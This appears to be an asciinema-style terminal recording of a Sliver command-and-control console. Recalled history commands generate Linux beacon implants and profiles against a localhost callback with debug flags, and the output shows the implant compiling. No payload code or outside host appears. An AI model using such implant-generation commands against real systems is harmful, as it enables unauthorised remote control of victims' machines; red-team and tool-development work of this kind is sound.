[10.649226, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m219 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m217 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m210 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m207 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m203 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate implant1\u001b"]
|
||||
[10.651504, "o", "[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
|
||||
[10.829126, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.837811, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.838715, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgen\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[10.841145, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate -h\u001b[0m "]
|
||||
[10.841763, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgen\u001b[0m\u001b[merate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug"]
|
||||
[10.841831, "o", "\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --deb"]
|
||||
[10.841873, "o", "ug --skip-symbols\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgen\u001b[0m\u001b[merate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
|
||||
[10.842556, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
|
||||
[10.873979, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[10.875574, "o", "\u001b[6n"]
|
||||
[10.881897, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.883943, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgene\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[10.884691, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate -h\u001b[0m "]
|
||||
[10.884977, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgene\u001b[0m\u001b[mrate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug"]
|
||||
[10.885092, "o", "\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --deb"]
|
||||
[10.886217, "o", "ug --skip-symbols\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgene\u001b[0m\u001b[mrate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
|
||||
[10.88645, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
|
||||
[11.066897, "o", "\u001b[?25l\u001b[272D"]
|
||||
[11.070735, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[11.079679, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[11.081536, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mgener\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[11.083793, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate -h\u001b[0m "]
|
||||
[11.08465, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mgener\u001b[0m\u001b[mate implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m156 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug -j 5 -S 15 --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m154 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m153 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m152 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --debug --skip-symbols --seconds 15\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m151 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m150 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug"]
|
||||
[11.085571, "o", "\u001b[0m \u001b[0m\u001b[0K\r"]
|
||||
[11.086578, "o", "\r\n\u001b[m\u001b[2m146 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate beacon -b localhost --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m145 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m88 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m61 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --os linux --skip-symbols --debug\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m45 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b locahost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m38 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m26 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --debug --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m21 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --debug --skip-symbols\u001b[0m "]
|
||||
[11.087019, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m14 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate -b localhost --skip-symbols --debug --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m3 \u001b[22m\u001b[48;05;244mgener\u001b[0m\u001b[mate --skip-symbols --os linux -b localhost --debug\u001b[0m \u001b[0m\u001b[0K\u001b[0J\u001b[272D\u001b[25A"]
|
||||
[11.088657, "o", "\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
|
||||
[13.132654, "o", "\u001b[1 q\u001b[88D\u001b[9C\u001b[6n"]
|
||||
[13.144997, "o", "\u001b[272D\u001b[88C\u001b[0J\u001b[272D\r\r\n"]
|
||||
[13.146633, "o", "\u001b[0 q\r\n"]
|
||||
[13.163829, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (1m0s)\r\n"]
|
||||
[13.266564, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[13.367604, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[13.468205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[13.56865, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[13.670654, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[13.775009, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[13.875673, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[13.980192, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[14.080607, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[14.182043, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[14.286749, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[14.388687, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[14.489389, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[14.592853, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[14.69579, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[14.797747, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[14.89881, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[14.99907, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[15.099155, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[15.199718, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[15.301844, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[15.400693, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[15.501925, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[15.602699, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[15.703195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[15.806347, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[15.907432, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[16.007596, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[16.107915, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[16.210775, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[16.311948, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[16.413473, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[16.512881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[16.614219, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[16.71476, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[16.840076, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[16.916564, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[17.017613, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[17.118565, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[17.219654, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[17.320772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[17.421508, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[17.522366, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[17.622827, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[17.723849, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[17.824878, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[17.925809, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[18.026134, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[18.127197, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[18.228757, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[18.329262, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[18.43072, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[18.532921, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[18.634189, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[18.735237, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[18.83613, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[18.941467, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[19.042585, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[19.144166, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[19.245445, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[19.345657, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[19.447133, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[19.548171, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[19.647948, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[19.748565, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[19.849248, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[19.950498, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[20.051241, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[20.152222, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[20.255517, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[20.356137, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[20.456888, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[20.558167, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[20.658768, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[20.758961, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[20.859802, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[20.960413, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[21.06133, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[21.162318, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[21.263139, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[21.365772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[21.470163, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[21.573427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[21.678021, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[21.779433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[21.879665, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[21.980575, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[22.081145, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[22.18192, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[22.282818, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[22.383597, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[22.48474, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[22.585755, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[22.686843, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[22.790361, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[22.891124, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[22.992712, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[23.093707, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[23.197777, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[23.300986, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[23.401728, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[23.504799, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[23.606212, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[23.706866, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[23.807765, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[23.908014, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[24.01079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[24.110942, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[24.211659, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[24.315586, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
